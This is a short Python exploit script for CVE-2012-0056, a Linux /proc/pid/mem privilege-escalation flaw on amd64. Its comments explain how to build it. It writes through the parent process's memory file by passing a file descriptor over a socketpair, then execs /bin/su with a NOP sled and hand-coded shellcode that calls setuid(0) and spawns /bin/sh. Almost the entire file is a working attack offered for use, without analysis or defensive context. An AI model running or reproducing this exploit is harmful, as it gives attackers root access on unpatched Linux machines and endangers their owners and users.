#!/usr/bin/python
# CVE-2012-0056 amd64
# sd@fucksheep.org
#
# hg clone https://code.google.com/p/python-passfd
# cd python-passfd; ./setup.py build_ext --inplace; cd src
# mv ~/hurrdurr.py .
# ./hurrdurr.py
from socket import *
from passfd import *
from os import *
from socket import *
from sys import *
if argv[-1]=='hax':
	sk=int(argv[1])
	fd=open("/proc/%d/mem"%getppid(),O_WRONLY)
	lseek(fd,0x401000,0)
	sendfd(sk,fd)
else:
	a,b=socketpair()
	if not fork():
		execl("/usr/bin/python","python",
		      __file__,str(a.fileno()),'hax')
	dup2(recvfd(b)[0],2)
	execl("/bin/su","su",("\x90"*8000)+"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2"+
		"\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb"+
		"\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6"+
		"\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05");